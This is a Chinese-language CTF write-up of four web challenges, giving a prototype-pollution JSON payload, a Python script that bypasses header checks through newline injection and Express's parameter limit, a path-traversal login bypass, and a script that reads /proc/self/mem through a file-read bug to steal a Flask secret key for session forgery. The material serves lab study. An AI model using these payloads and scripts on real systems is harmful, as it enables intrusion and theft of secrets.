wife_wife

进来啥也没有,只有一个特殊点,is_admin,但是直接改成true进去也不是admin,看wp才知道这里竟然是要打一个黑盒的原型链污染

有思路就好办了,把数据包丢给ai整一个payload出来

{
  "username": "hacker",
  "password": "hackerpass",
  "__proto__": {
    "isAdmin": true
  }
}

ez_curl

直接访问后端不通,应该是要打一个ssrf

第一个问题是for循环会做检测,如果headers中admin和true同时出现就不行

先找优先级漏洞,and可以绕过但&&不行

这个时候突然发现后端的逻辑校验只要包含就可以

req.headers.admin.includes('true'))

搭个环境测试一下,第二个比较好绕,加个#就行

image-20250921202321582

但是这里到后面一直没打通,回来测试一下才发现

php的http_build_query函数将#进行了url编码形成了%23,编码之后则会失效

image-20250921213402809

image-20250921213418385

在这里也是想到一个有意思的出题思路,后端将参数拼接一个特定参数字符串,并在参数解析时检测该字符串是否存在,不存在则给出访问地址给出flag,存在则退出,前端可以输入地址,并将地址url编码后发给后端,然后可以抓包把url编码后的#改回来,通过标识定位符把后端添加的参数忽略掉

回到题目,这里其实是两个考点

第一个,PHPstripos()方法只匹配 当前字符串,也就是说,我们只要在admin前面加上\n进行换行,他就检测不到了

第二个,express默认接收一千个参数,多余的会被丢弃

import requests
import json
url="http://61.147.171.35:62967/"

data={"headers":["aa:aa\nadmin:true","Content-Type:application/json"],
      "params":{"admin":"true"}}

for i in range(1000):
    data["params"][i]=str(i)

data=json.dumps(data)
res=requests.post(url,data=data)
print(res.text)

ezbypass-cat

进来一个登录框,密码经过md5加密后发送,但似乎存在sql注入

admin存在,其他用户不存在

翻翻js

image-20250924222202106

搜着搜着突然找到了出题人

image-20250924222816061

这里有一个非预期解,就是flag.html可以扫到,但是直接访问会被重定向,可以访问/login.html/../flag.html来绕过,但这个flag是个假flag

预期解同样是通过login.html做接口跳转,难怪直接访问接口会进不去

通过/user/getALLlist接口拿到用户名和密码

image-20250925141541770

拿到cookie后就可以直接访问flag了

image-20250925142523023

image-20250925142723696

https://zhuanlan.zhihu.com/p/593376086

catcat-new

访问/admin会被拒绝并设置cookie,一看admin:0

应该是要做一个session伪造

另外一个功能点可以做任意文件读取

image-20250925150751204

/proc/1/self读环境变量

b'HOSTNAME=3b1b5cf73770\x00PYTHON_PIP_VERSION=21.2.4\x00SHLVL=1\x00HOME=/root\x00OLDPWD=/\x00GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D\x00PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/3cb8888cc2869620f57d5d2da64da38f516078c7/public/get-pip.py\x00PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/bin\x00LANG=C.UTF-8\x00PYTHON_VERSION=3.7.12\x00PYTHON_SETUPTOOLS_VERSION=57.5.0\x00PWD=/app\x00PYTHON_GET_PIP_SHA256=c518250e91a70d7b20cceb15272209a4ded2a0c263ae5776f129e0d9b5674309\x00'

../app.py读到源码

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")


@app.route('/', methods=['GET'])
def index():
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
        cats_list.append(i[:i.index('.')])

    return render_template("index.html", cats_list=cats_list, cat=cat)


@app.route('/info', methods=["GET", 'POST'])
def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

    return render_template("detail.html", catname=name, info=cat(filename, start, end))


@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
        return "NoNoNo"

secret从文件中读不到了,但是它一定在内存里

/proc/self/mem存储当前进程在内存中的数据,但是该文件通常无法直接读取

image-20250925161416979

先调整一下数据格式

# filename: replace_newline.py

# 输入文件
input_file = "1.txt"
# 输出文件
output_file = "2.txt"

with open(input_file, "r", encoding="utf-8") as f:
    content = f.read()

# 把文本里的 \n 替换为真正的换行
content = content.replace("\\n", "\n")

with open(output_file, "w", encoding="utf-8") as f:
    f.write(content)

print(f"处理完成,结果保存到 {output_file}")

这里ai写代码挺蠢的,简单取出地址发送过去,再将返回值做一个正则匹配即可

import requests
import uuid
import re
from flask import Flask, session, request
# URL 模板
url = "http://61.147.171.103:57071/info?file=../../proc/self/mem&start={start}&end={end}"

# 输入文件路径
input_file = "2.txt"

# 正则表达式:匹配类似 uuid + *abcdefgh 格式的字符串
pattern = re.compile(r'[a-f0-9]{32}\*abcdefgh')

# 读取文件并按行处理
with open(input_file, "r", encoding="utf-8") as f:
    for line in f:
        # 按空格分割每行数据
        parts = line.split()

        # 如果权限部分包含 'rw',说明是读写权限
        if 'rw' in parts[1]:
            # 提取地址范围 (start, end)
            start, end = parts[0].split('-')
            start = int(start, 16)
            end = int(end, 16)  
            # 构建请求 URL
            payload_url = url.format(start=start, end=end)

            # 发送 GET 请求
            response = requests.get(payload_url)
            # 查找匹配的字符串
            matches = pattern.findall(response.text)

            # 如果找到匹配的数据,打印
            if matches:
                for match in matches:
                    print(f"匹配到的字符串:{match}")

拿到密钥后伪造session拿到flag

心中无难事,只要肯放弃